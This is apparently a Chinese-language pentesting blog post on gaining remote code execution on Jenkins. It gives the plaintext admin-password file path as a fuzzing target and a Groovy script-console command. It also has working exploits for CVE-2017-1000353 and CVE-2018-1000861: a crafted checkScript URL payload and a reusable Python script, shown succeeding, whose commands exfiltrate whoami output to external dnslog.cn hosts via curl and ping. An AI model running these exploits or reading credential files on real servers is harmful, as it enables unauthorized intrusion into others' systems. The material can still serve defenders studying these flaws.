Jenkins安装
为什么要从安装开始提起呢?
知彼知己,不管你以前是否接触过jenkins,今天你都要知道Jenkins的初始管理员密码是存储在文件里的,而且是明文。路径丢在这里做FUZZ参考:C:\Users\RabbitMask\.jenkins\secrets\initialAdminPassword


然后安装过程中会有创建用户界面,如果创建其它用户或保留当前admin用户登录,initialAdminPassword文件将会继续保留,如果新建用户为admin,即为admin修改密码,初始密码文件将会被删除,大家可以根据这一特性尝试获取管理员密码。
Success!

脚本命令行 RCE
我也不晓得网上为什么都称呼未授权RCE,查询相关资料上古时期版本确实是可以的,且包括 Jenkins的前身——Hudson,都存在这一问题。
然而在后来的版本中是不可以的,因为有初始强口令存在,但不排除用户设置弱口令的情况,因为他没有密码安全规则,我们就把这作为一项在弱口令情况下的一处RCE吧。
说到底,明明是Jenkins自带的脚本命令行功能,/哭
地址:http://127.0.0.1:8080/script
命令:println 'whoami'.execute().text

CVE-2017-1000353 未授权RCE
影响范围:
Jenkins <= 2.56
Jenkins LTS <= 2.46.1
可参考vulhub给出的EXP方案:
https://github.com/vulhub/CVE-2017-1000353
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar poc.ser "ping -n 1 `whoami`.ec88if.dnslog.cn"
python CVE-2017-1000353.py http://127.0.0.1:8080 poc.ser

CVE-2018-1000861 未授权RCE
影响范围:
Jenkins <= 2.153
Jenkins LTS <= 2.138.3
这个EXP构造较为简单直接抄作业即可:
http://127.0.0.1:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
public x(){
"curl `whoami`.ec88if.dnslog.cn".execute()
}
}
http://127.0.0.1:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl%20`whoami`.pblef5.dnslog.cn%22.execute()}}
顺便丢个小脚本方便复用:
import requests,sys
def run(url,cmd):
s = "/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript"
data = {"sandbox":"true","value":f'''public class x {{public x(){{"{cmd}".execute()}}}}'''}
r = requests.get(f"{url}{s}",params=data)
print(f"status_code:{r.status_code}")
return r.status_code
if __name__ == "__main__":
res=run(sys.argv[1],sys.argv[2])
if res==200:
print("success!")
else:
print("fail!")
python CVE-2018-1000861.py http://172.19.147.149:8080 "curl `whoami`.6ij1cj.dnslog.cn"
status_code:200
success!

END
其实Jenkins的漏洞特别多,仅RCE就有多项,包括插件RCE、低权限用户RCE等,本节关注点放到了未授权RCE,其他漏洞可参考以下内容:
Jenkins漏洞集合复现
pwn_jenkins
工具方面当然少不了orange大佬:
awesome-jenkins-rce-2019
该工具集成了CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029的检测,但后两者需要开启ANONYMOUS_READ的未授权访问或者至少具备低权限的普通用户,换句话说,并不归属默认配置下的未授权RCE。
网友评论